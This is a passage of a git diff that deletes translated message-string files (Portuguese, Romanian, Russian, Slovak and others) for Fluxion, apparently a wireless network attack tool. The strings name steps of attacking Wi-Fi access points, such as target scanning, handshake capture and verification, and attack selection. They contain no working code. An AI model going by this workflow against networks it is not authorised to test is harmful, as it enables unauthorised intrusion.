-# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONGeneralSkipOption="${CYel}Skip" -FLUXIONGeneralBackOption="${CRed}Cofnij" -FLUXIONGeneralExitOption="${CRed}Wyjście" -FLUXIONGeneralRepeatOption="${CRed}Repeat" -FLUXIONGeneralNotFoundError="Nie znaleziono" -FLUXIONGeneralXTermFailureError="${CRed} Start xterm niemożliwy (źle skonfigurowany?)." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONCleanupAndClosingNotice="Sprzątanie i zamykanie" -FLUXIONKillingProcessNotice="Zabijanie procesu ${CGry}\$targetID$CClr" -FLUXIONRestoringPackageManagerNotice="Restoring ${CCyn}\$PackageManagerCLT$CClr" -FLUXIONDisablingMonitorNotice="Wyłączanie karty monitorującej" -FLUXIONDisablingExtraInterfacesNotice="Disabling extra interfaces" -FLUXIONDisablingPacketForwardingNotice="Disabling ${CGry}forwarding of packets" -FLUXIONDisablingCleaningIPTablesNotice="Cleaning ${CGry}iptables" -FLUXIONRestoringTputNotice="Restoring ${CGry}tput" -FLUXIONDeletingFilesNotice="Usuwanie ${CGry}files" -FLUXIONRestartingNetworkManagerNotice="Restartowanie ${CGry}Network-Manager" -FLUXIONCleanupSuccessNotice="Sprzątanie zakończone powodzeniem!" -FLUXIONThanksSupportersNotice="Dziękuję za użycie FLUXION" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - -# FLUXSCRIPT END diff --git a/fluxion_origins/language/pt-br.sh b/fluxion_origins/language/pt-br.sh deleted file mode 100755 index f29cf08..0000000 --- a/fluxion_origins/language/pt-br.sh +++ /dev/null @@ -1,97 +0,0 @@ -#!/usr/bin/env bash -# Português Brazileiro -# native: Português-BR - -FLUXIONInterfaceQuery="Selecione sua interface wireless" -FLUXIONAllocatingInterfaceNotice="Allocating reserved interface $CGrn\"\$interfaceIdentifier\"." -FLUXIONDeallocatingInterfaceNotice="Deallocating reserved interface $CGrn\"\$interfaceIdentifier\"." -FLUXIONInterfaceAllocatedNotice="${CGrn}Interface allocation succeeded!" -FLUXIONInterfaceAllocationFailedError="${CRed}Interface reservation failed!" -FLUXIONReidentifyingInterface="Renaming interface." -FLUXIONUnblockingWINotice="Desbloqueando interfaces wireless..." -#FLUXIONFindingExtraWINotice="A procura de interfaces wireless..." -FLUXIONRemovingExtraWINotice="Removendo interfaces wireless..." -FLUXIONFindingWINotice="Procurando por interfaces wireless válidas..." -FLUXIONSelectedBusyWIError="A interface selecionada esta aparentemente em uso" -FLUXIONSelectedBusyWITip="This is usually caused by the network manager using the interface selected. We recommened you$CGrn gracefully stop the network manager$CClr or configure it to ignored the selected interface. Alternatively, run \"export FLUXIONWIKillProcesses=1\" before fluxion to kill it but we suggest you$CRed avoid using the killer flag${CClr}." -FLUXIONGatheringWIInfoNotice="Relhendo informações da interface..." -FLUXIONUnknownWIDriverError="Ative o drive da interface!" -FLUXIONUnloadingWIDriverNotice="Esperando pela interface \"\$interface\" para descarregar..." -FLUXIONLoadingWIDriverNotice="Esperando pela interface \"\$interface\" para carregar..." -FLUXIONFindingConflictingProcessesNotice="Procurando serviços conflitantes..." -FLUXIONKillingConflictingProcessesNotice="Matando serviços conflitantes..." -FLUXIONPhysicalWIDeviceUnknownError="${CRed}Não é possível determinar o dispositivo físico da interface!" -FLUXIONStartingWIMonitorNotice="Iniciando modo monitor..." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONTargetSearchingInterfaceQuery="Select a wireless interface for target searching." -FLUXIONTargetTrackerInterfaceQuery="Select an interface for target tracking." -FLUXIONTargetTrackerInterfaceQueryTip="${CBYel}Avoid selecting a virtual interface here.${CClr}" -FLUXIONIncompleteTargettingInfoNotice="Missing ESSID, BSSID, or channel information!" -FLUXIONTargettingAccessPointAboveNotice="Fluxion is targetting the access point above." -FLUXIONContinueWithTargetQuery="Continue with this target?" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONStartingScannerNotice="Iniciando busca, aguarde por favor..." -FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the FLUXION Scanner (ctrl+c)." -FLUXIONPreparingScannerResultsNotice="Sintetizando os resultados da varredura, aguarde..." -FLUXIONScannerFailedNotice="Wireless card não suportado (sem APs encontrados)" -FLUXIONScannerDetectedNothingNotice="Sem APs encontrados, retornando..." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONHashFileDoesNotExistError="Arquivo hash não existe!" -FLUXIONHashInvalidError="${CRed}Error$CClr, arquivo hash inválido!" -FLUXIONHashValidNotice="${CGrn}Success$CClr, verificação de hash completa!" -FLUXIONPathToHandshakeFileQuery="Insira o arquivo de handshake $CClr(Exemplo: /.../dump-01.cap)" -FLUXIONPathToHandshakeFileReturnTip="To go back, leave the hash path blank." -FLUXIONAbsolutePathInfo="Caminho" -FLUXIONEmptyOrNonExistentHashError="${CRed}Error$CClr, path points to non-existing or empty hash file." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONScannerChannelQuery="Selecione um canal para monitorar" -FLUXIONScannerChannelOptionAll="Todos os Canais" -FLUXIONScannerChannelOptionSpecific="Canais específicos" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONScannerChannelSingleTip="Canal único" -FLUXIONScannerChannelMiltipleTip="Múltiplos canais" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONScannerHeader="FLUXION Scanner" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONHashSourceQuery="Selecione um método para capturar o handshake" -FLUXIONHashSourcePathOption="Caminho para captura do arquivo" -FLUXIONHashSourceRescanOption="Diretório do handshake" -FLUXIONFoundHashNotice="Um handshake para o AP alvo foi encontrado." -FLUXIONUseFoundHashQuery="Gostaria de usar esse arquivo?" -FLUXIONUseFoundHashOption="Use hash found" -FLUXIONSpecifyHashPathOption="Specify path to hash" -FLUXIONHashVerificationMethodQuery="Selecione um método de verificação para a hash" -FLUXIONHashVerificationMethodPyritOption="pyrit verification" -FLUXIONHashVerificationMethodAircrackOption="aircrack-ng verification (${CYel}não confiável$CClr)" -FLUXIONHashVerificationMethodCowpattyOption="cowpatty verification (${CGrn}recomendada$CClr)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONAttackQuery="Selecione uma rede sem fio para atacar" -FLUXIONAttackInProgressNotice="${CCyn}\$FluxionAttack$CClr ataque em progresso..." -FLUXIONSelectAnotherAttackOption="Selecione outro ataque" -FLUXIONAttackResumeQuery="This attack has already been configured." -FLUXIONAttackRestoreOption="Restore attack" -FLUXIONAttackResetOption="Reset attack" -FLUXIONAttackRestartOption="Restart" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONGeneralSkipOption="${CYel}Skip" -FLUXIONGeneralBackOption="${CRed}Voltar" -FLUXIONGeneralExitOption="${CRed}Sair" -FLUXIONGeneralRepeatOption="${CRed}Repetir" -FLUXIONGeneralNotFoundError="Não encontrado" -FLUXIONGeneralXTermFailureError="${CRed}Falha ao iniciar a sessão xterm (possivelmente configuração errada)." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONCleanupAndClosingNotice="Limpando e saindo" -FLUXIONKillingProcessNotice="Matando ${CGry}\$targetID$CClr" -FLUXIONRestoringPackageManagerNotice="Restoring ${CCyn}\$PackageManagerCLT$CClr" -FLUXIONDisablingMonitorNotice="Desabilitando interface do modo monitor" -FLUXIONDisablingExtraInterfacesNotice="Desabilitando interfaces extras" -FLUXIONDisablingPacketForwardingNotice="Desabilitando ${CGry}encaminhador de pacotes" -FLUXIONDisablingCleaningIPTablesNotice="Limpando ${CGry}iptables" -FLUXIONRestoringTputNotice="Restaurando ${CGry}tput" -FLUXIONDeletingFilesNotice="Deletando ${CGry}arquivos" -FLUXIONRestartingNetworkManagerNotice="Reiniciando ${CGry}Network-Manager" -FLUXIONCleanupSuccessNotice="Limpeza completa!" -FLUXIONThanksSupportersNotice="Obrigado por usar o FLUXION" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - -# FLUXSCRIPT END diff --git a/fluxion_origins/language/ro.sh b/fluxion_origins/language/ro.sh deleted file mode 100755 index 3cab7e9..0000000 --- a/fluxion_origins/language/ro.sh +++ /dev/null @@ -1,97 +0,0 @@ -#!/usr/bin/env bash -# Romanian -# native: Română - -FLUXIONInterfaceQuery="Selecteaza o interfata" -FLUXIONAllocatingInterfaceNotice="Allocating reserved interface $CGrn\"\$interfaceIdentifier\"." -FLUXIONDeallocatingInterfaceNotice="Deallocating reserved interface $CGrn\"\$interfaceIdentifier\"." -FLUXIONInterfaceAllocatedNotice="${CGrn}Interface allocation succeeded!" -FLUXIONInterfaceAllocationFailedError="${CRed}Interface reservation failed!" -FLUXIONReidentifyingInterface="Renaming interface." -FLUXIONUnblockingWINotice="Unblocking all wireless interfaces..." -#FLUXIONFindingExtraWINotice="Looking for extraneous wireless interfaces..." -FLUXIONRemovingExtraWINotice="Removing extraneous wireless interfaces..." -FLUXIONFindingWINotice="Looking for available wireless interfaces..." -FLUXIONSelectedBusyWIError="The wireless interface selected appears to be currently in use!" -FLUXIONSelectedBusyWITip="This is usually caused by the network manager using the interface selected. We recommened you$CGrn gracefully stop the network manager$CClr or configure it to ignored the selected interface. Alternatively, run \"export FLUXIONWIKillProcesses=1\" before fluxion to kill it but we suggest you$CRed avoid using the killer flag${CClr}." -FLUXIONGatheringWIInfoNotice="Gathering interface information..." -FLUXIONUnknownWIDriverError="Unable to determine interface driver!" -FLUXIONUnloadingWIDriverNotice="Waiting for interface \"\$interface\" to unload..." -FLUXIONLoadingWIDriverNotice="Waiting for interface \"\$interface\" to load..." -FLUXIONFindingConflictingProcessesNotice="Looking for notorious services..." -FLUXIONKillingConflictingProcessesNotice="Killing notorious services..." -FLUXIONPhysicalWIDeviceUnknownError="${CRed}Unable to determine interface's physical device!" -FLUXIONStartingWIMonitorNotice="Starting monitor interface..." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONTargetSearchingInterfaceQuery="Select a wireless interface for target searching." -FLUXIONTargetTrackerInterfaceQuery="Select an interface for target tracking." -FLUXIONTargetTrackerInterfaceQueryTip="${CBYel}Avoid selecting a virtual interface here.${CClr}" -FLUXIONIncompleteTargettingInfoNotice="Missing ESSID, BSSID, or channel information!" -FLUXIONTargettingAccessPointAboveNotice="Fluxion is targetting the access point above." -FLUXIONContinueWithTargetQuery="Continue with this target?" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONStartingScannerNotice="Starting scanner, please wait..." -FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the FLUXION Scanner (ctrl+c)." -FLUXIONPreparingScannerResultsNotice="Synthesizing scan results, please wait..." -FLUXIONScannerFailedNotice="Wireless card may not be supported (no APs found)" -FLUXIONScannerDetectedNothingNotice="No access points were detected, returning..." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONHashFileDoesNotExistError="Hash file does not exist!" -FLUXIONHashInvalidError="${CRed}Error$CClr, invalid hash file!" -FLUXIONHashValidNotice="${CGrn}Success$CClr, hash verification completed!" -FLUXIONPathToHandshakeFileQuery="Enter path to handshake file $CClr(Example: /.../dump-01.cap)" -FLUXIONPathToHandshakeFileReturnTip="To go back, leave the hash path blank." -FLUXIONAbsolutePathInfo="Absolute path" -FLUXIONEmptyOrNonExistentHashError="${CRed}Error$CClr, path points to non-existing or empty hash file." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONScannerChannelQuery="Selecteaza canalul" -FLUXIONScannerChannelOptionAll="Toate canalele " -FLUXIONScannerChannelOptionSpecific="Canal specific(s)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONScannerChannelSingleTip="Un singur canal" -FLUXIONScannerChannelMiltipleTip="Canale multiple" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONScannerHeader="FLUXION Scanner" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONHashSourceQuery="Select a method to retrieve the handshake" -FLUXIONHashSourcePathOption="Path to capture file" -FLUXIONHashSourceRescanOption="Handshake directory (rescan)" -FLUXIONFoundHashNotice="A hash for the target AP was found." -FLUXIONUseFoundHashQuery="Do you want to use this file?" -FLUXIONUseFoundHashOption="Use hash found" -FLUXIONSpecifyHashPathOption="Specify path to hash" -FLUXIONHashVerificationMethodQuery="Select a method of verification for the hash" -FLUXIONHashVerificationMethodPyritOption="pyrit verification" -FLUXIONHashVerificationMethodAircrackOption="aircrack-ng verification (${CYel}unreliable$CClr)" -FLUXIONHashVerificationMethodCowpattyOption="cowpatty verification (${CGrn}recommended$CClr)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONAttackQuery="Selecteaza optiunea ta" -FLUXIONAttackInProgressNotice="${CCyn}\$FluxionAttack$CClr attack in progress..." -FLUXIONSelectAnotherAttackOption="Select another attack" -FLUXIONAttackResumeQuery="This attack has already been configured." -FLUXIONAttackRestoreOption="Restore attack" -FLUXIONAttackResetOption="Reset attack" -FLUXIONAttackRestartOption="Restart" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONGeneralSkipOption="${CYel}Skip" -FLUXIONGeneralBackOption="${CRed}Inapoi" -FLUXIONGeneralExitOption="${CRed}Exit" -FLUXIONGeneralRepeatOption="${CRed}Repeat" -FLUXIONGeneralNotFoundError="Nu a fost gasit" -FLUXIONGeneralXTermFailureError="${CRed}Failed to start xterm session (possible misconfiguration)." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONCleanupAndClosingNotice="Curatire si inchidere" -FLUXIONKillingProcessNotice="Killing ${CGry}\$targetID$CClr" -FLUXIONRestoringPackageManagerNotice="Restoring ${CCyn}\$PackageManagerCLT$CClr" -FLUXIONDisablingMonitorNotice="Dezacticati interfata monitorizata" -FLUXIONDisablingExtraInterfacesNotice="Dezactivati interfata" -FLUXIONDisablingPacketForwardingNotice="Dezactivati ${CGry}forwarding of packets" -FLUXIONDisablingCleaningIPTablesNotice="Curatire ${CGry}iptables" -FLUXIONRestoringTputNotice="Restaurare ${CGry}tput" -FLUXIONDeletingFilesNotice="Deleting ${CGry}files" -FLUXIONRestartingNetworkManagerNotice="Restartare ${CGry}Network-Manager" -FLUXIONCleanupSuccessNotice="Curatire efectuata cu succes!" -FLUXIONThanksSupportersNotice="Multumesc pentru ca ati folosit fluxion" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - -# FLUXSCRIPT END diff --git a/fluxion_origins/language/ru.sh b/fluxion_origins/language/ru.sh deleted file mode 100755 index d282798..0000000 --- a/fluxion_origins/language/ru.sh +++ /dev/null @@ -1,97 +0,0 @@ -#!/usr/bin/env bash -# Russian -# native: Русский - -FLUXIONInterfaceQuery="Выберите беспроводной интерфейс" -FLUXIONAllocatingInterfaceNotice="Выделение зарезервированного интерфейса $CGrn\"\$interfaceIdentifier\"." -FLUXIONDeallocatingInterfaceNotice="Перераспределение зарезервированного интерфейса $CGrn\"\$interfaceIdentifier\"." -FLUXIONInterfaceAllocatedNotice="${CGrn}Успешное распределение интерфейса!" -FLUXIONInterfaceAllocationFailedError="${CRed}Не удалось выполнить резервирование интерфейса!" -FLUXIONReidentifyingInterface="Переименование интерфейса." -FLUXIONUnblockingWINotice="Разблокирование всех беспроводных интерфейсов." -#FLUXIONFindingExtraWINotice="Поиск посторонних беспроводных интерфейсов..." -FLUXIONRemovingExtraWINotice="Удаление посторонних беспроводных интерфейсов..." -FLUXIONFindingWINotice="Поиск доступных беспроводных интерфейсов..." -FLUXIONSelectedBusyWIError="Выбранный беспроводной интерфейс, по-видимому, используется в настоящее время!" -FLUXIONSelectedBusyWITip="Обычно это вызвано сетевым менеджером (network manager), использующим выбранный интерфейс. Рекомендуется$CGrn правильно остановить сетевой менеджер $CClr или настроить его на игнорирование выбранного интерфейса. В качестве альтернативы выполняйте \"export FLUXIONWIKillProcesses=1\" перед запуском fluxion, чтобы выгрузить сетевой менеджер, но рекомендуется$CRed избегать использование этого флага${CClr}." -FLUXIONGatheringWIInfoNotice="Сбор информации об интерфейсе..." -FLUXIONUnknownWIDriverError="Не удалось определить драйвер интерфейса!" -FLUXIONUnloadingWIDriverNotice="Ожидание выгрузки интерфейса \"\$interface\"..." -FLUXIONLoadingWIDriverNotice="Ожидание поднятия интерфейса \"\$interface\"..." -FLUXIONFindingConflictingProcessesNotice="Поиск конфликтующих служб..." -FLUXIONKillingConflictingProcessesNotice="Остановка конфликтующих служб..." -FLUXIONPhysicalWIDeviceUnknownError="${CRed}Невозможно определить физическое устройство интерфейса!" -FLUXIONStartingWIMonitorNotice="Запуск интерфейса монитора..." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONTargetSearchingInterfaceQuery="Выберите беспроводной интерфейс для поиска целей." -FLUXIONTargetTrackerInterfaceQuery="Выберите интерфейс для отслеживания целей." -FLUXIONTargetTrackerInterfaceQueryTip="${CBYel}Avoid selecting a virtual interface here.${CClr}" -FLUXIONIncompleteTargettingInfoNotice="Отсутствует информация об ESSID, BSSID или канале!" -FLUXIONTargettingAccessPointAboveNotice="Fluxion нацелен на вышеприведённую точку доступа." -FLUXIONContinueWithTargetQuery="Продолжить с этой целью?" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONStartingScannerNotice="Запуск сканера, пожалуйста, подождите..." -FLUXIONStartingScannerTip="Через пять секунд после появления целевой точки ТД закройте сканер FLUXION (ctrl+c)." -FLUXIONPreparingScannerResultsNotice="Подготовка результатов сканирования, пожалуйста, ожидайте..." -FLUXIONScannerFailedNotice="Возможно, беспроводная карта не поддерживается (точки доступа не найдены)" -FLUXIONScannerDetectedNothingNotice="Точки доступа не обнаружены, возвращаемся назад..." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONHashFileDoesNotExistError="Хэш-файл (файл с рукопожатием) не существует!" -FLUXIONHashInvalidError="${CRed}Ошибка$CClr, неверный файл рукопожатия!" -FLUXIONHashValidNotice="${CGrn}Успех$CClr, верификация рукопожатия прошла успешно!" -FLUXIONPathToHandshakeFileQuery="Введите путь до файла рукопожатия $CClr(Пример: /путь/до/file.cap)" -FLUXIONPathToHandshakeFileReturnTip="Чтобы вернуться назад, оставьте путь до файла рукопожатия пустым." -FLUXIONAbsolutePathInfo="Абсолютный путь" -FLUXIONEmptyOrNonExistentHashError="${CRed}Ошибка$CClr, введённый путь указывает на несуществующий или пустой файл рукопожатия." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONScannerChannelQuery="Выберите канал для мониторинга" -FLUXIONScannerChannelOptionAll="Все каналы" -FLUXIONScannerChannelOptionSpecific="Конкретный канал (каналы)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONScannerChannelSingleTip="Один канал" -FLUXIONScannerChannelMiltipleTip="Несколько каналов" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONScannerHeader="Сканер FLUXION" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONHashSourceQuery="Выберите способ получения рукопожатия" -FLUXIONHashSourcePathOption="Путь к файлу захвата" -FLUXIONHashSourceRescanOption="Повторное сканирование директории рукопожатия" -FLUXIONFoundHashNotice="Был найден хэш (рукопожатие) для целевой точки доступа." -FLUXIONUseFoundHashQuery="Вы хотите использовать этот файл?" -FLUXIONUseFoundHashOption="Использовать найденное рукопожатие" -FLUXIONSpecifyHashPathOption="Укажите путь к рукопожатию" -FLUXIONHashVerificationMethodQuery="Выберите метод проверки рукопожатия" -FLUXIONHashVerificationMethodPyritOption="проверка с помощью pyrit" -FLUXIONHashVerificationMethodAircrackOption="проверка с помощью aircrack-ng (${CYel}ненадёжная$CClr)" -FLUXIONHashVerificationMethodCowpattyOption="проверка с помощью cowpatty (${CGrn}рекомендуется$CClr)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONAttackQuery="Выбор беспроводной атаки для точки доступа" -FLUXIONAttackInProgressNotice="${CCyn}\$FluxionAttack$CClr идёт атака..." -FLUXIONSelectAnotherAttackOption="Выбор другой атаки" -FLUXIONAttackResumeQuery="Эта атака уже была настроена." -FLUXIONAttackRestoreOption="Восстановление атаки" -FLUXIONAttackResetOption="Сброс атаки" -FLUXIONAttackRestartOption="Перезапуск" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONGeneralSkipOption="${CYel}Пропустить" -FLUXIONGeneralBackOption="${CRed}Назад" -FLUXIONGeneralExitOption="${CRed}Выход" -FLUXIONGeneralRepeatOption="${CRed}Повторить" -FLUXIONGeneralNotFoundError="Не найдено" -FLUXIONGeneralXTermFailureError="${CRed}Не удалось запустить xterm (возможно неправильная настройка, безголовая машина)." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONCleanupAndClosingNotice="Очистка и закрытие" -FLUXIONKillingProcessNotice="Закрытие ${CGry}\$targetID$CClr" -FLUXIONRestoringPackageManagerNotice="Восстановление ${CCyn}\$PackageManagerCLT$CClr" -FLUXIONDisablingMonitorNotice="Отключение режима монитора" -FLUXIONDisablingExtraInterfacesNotice="Отключение дополнительный интерфейсов" -FLUXIONDisablingPacketForwardingNotice="Отключение ${CGry}форвардинга (переадресации) пакетов" -FLUXIONDisablingCleaningIPTablesNotice="Очистка ${CGry}iptables" -FLUXIONRestoringTputNotice="Восстановление ${CGry}tput" -FLUXIONDeletingFilesNotice="Удаление ${CGry}файлов" -FLUXIONRestartingNetworkManagerNotice="Восстановление ${CGry}Network-Manager" -FLUXIONCleanupSuccessNotice="Очистка выполнена успешно!" -FLUXIONThanksSupportersNotice="Спасибо что пользуетесь FLUXION" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - -# FLUXSCRIPT END diff --git a/fluxion_origins/language/sk.sh b/fluxion_origins/language/sk.sh deleted file mode 100644 index 69298cc..0000000 --- a/fluxion_origins/language/sk.sh +++ /dev/null @@ -1,97 +0,0 @@ -#!/usr/bin/env bash -# Slovak -# native: slovenčina - -FLUXIONInterfaceQuery="Vyberte bezdrôtový adaptér" -FLUXIONAllocatingInterfaceNotice="Allocating reserved interface $CGrn\"\$interfaceIdentifier\"." -FLUXIONDeallocatingInterfaceNotice="Deallocating reserved interface $CGrn\"\$interfaceIdentifier\"." -FLUXIONInterfaceAllocatedNotice="${CGrn}Interface allocation succeeded!" -FLUXIONInterfaceAllocationFailedError="${CRed}Interface reservation failed!" -FLUXIONReidentifyingInterface="Renaming interface." -FLUXIONUnblockingWINotice="Odblokúvam všetky bezdrôtové adaptéry..." -#FLUXIONFindingExtraWINotice="Hľadám prídavné bezdrôtové adaptéry..." -FLUXIONRemovingExtraWINotice="Odstraňujem prídavné bezdrôtové adaptéry..." -FLUXIONFindingWINotice="Hľadám dostupné bezdrôtové adaptéry..." -FLUXIONSelectedBusyWIError="Vybraný bezdrôtový adaptér sa pravdepodobne používa!" -FLUXIONSelectedBusyWITip="This is usually caused by the network manager using the interface selected. We recommened you$CGrn gracefully stop the network manager$CClr or configure it to ignored the selected interface. Alternatively, run \"export FLUXIONWIKillProcesses=1\" before fluxion to kill it but we suggest you$CRed avoid using the killer flag${CClr}." -FLUXIONGatheringWIInfoNotice="Zhromažďujem informácie o adaptéri..." -FLUXIONUnknownWIDriverError="Nepodarilo sa zistiť driver adaptéru!" -FLUXIONUnloadingWIDriverNotice="Čakám na uvolnenie adaptéru \"\$interface\" ..." -FLUXIONLoadingWIDriverNotice="Čakám na pripravenie adaptéru \"\$interface\" ..." -FLUXIONFindingConflictingProcessesNotice="Hľadám známe služby..." -FLUXIONKillingConflictingProcessesNotice="Zastavujem známe služby..." -FLUXIONPhysicalWIDeviceUnknownError="${CRed}Nedokážem zistiť fyzické zariadenie adaptéru!" -FLUXIONStartingWIMonitorNotice="Štartujem monitorovací adaptér..." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONTargetSearchingInterfaceQuery="Select a wireless interface for target searching." -FLUXIONTargetTrackerInterfaceQuery="Select an interface for target tracking." -FLUXIONTargetTrackerInterfaceQueryTip="${CBYel}Avoid selecting a virtual interface here.${CClr}" -FLUXIONIncompleteTargettingInfoNotice="Missing ESSID, BSSID, or channel information!" -FLUXIONTargettingAccessPointAboveNotice="Fluxion is targetting the access point above." -FLUXIONContinueWithTargetQuery="Continue with this target?" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONStartingScannerNotice="Štartujem scanner, čakajte..." -FLUXIONStartingScannerTip="Päť sekúnd po objavení sa cieľového AP, zavrite FLUXION Scanner (ctrl+c)." -FLUXIONPreparingScannerResultsNotice="Výsledky scanu sa pripravujú, čakajte..." -FLUXIONScannerFailedNotice="Bezdrôtová sieťová karta nemusí byť podporovaná (nenašli sa žiadne AP)" -FLUXIONScannerDetectedNothingNotice="Žiadne prístupové body neboli najdené, vraciam sa..." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONHashFileDoesNotExistError="Súbor 'hash' neexistuje!" -FLUXIONHashInvalidError="${CRed}Error$CClr, nesprávny 'hash' súbor!" -FLUXIONHashValidNotice="${CGrn}Success$CClr, 'hash' overenie úspešné!" -FLUXIONPathToHandshakeFileQuery="Zadajte cestu k 'handshake' súboru $CClr(Príklad: /.../dump-01.cap)" -FLUXIONPathToHandshakeFileReturnTip="To go back, leave the hash path blank." -FLUXIONAbsolutePathInfo="Absolúna cesta" -FLUXIONEmptyOrNonExistentHashError="${CRed}Error$CClr, path points to non-existing or empty hash file." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONScannerChannelQuery="Vyberte kanál, ktorý chcete monitorovať" -FLUXIONScannerChannelOptionAll="Všetky kanály" -FLUXIONScannerChannelOptionSpecific="Špecifický 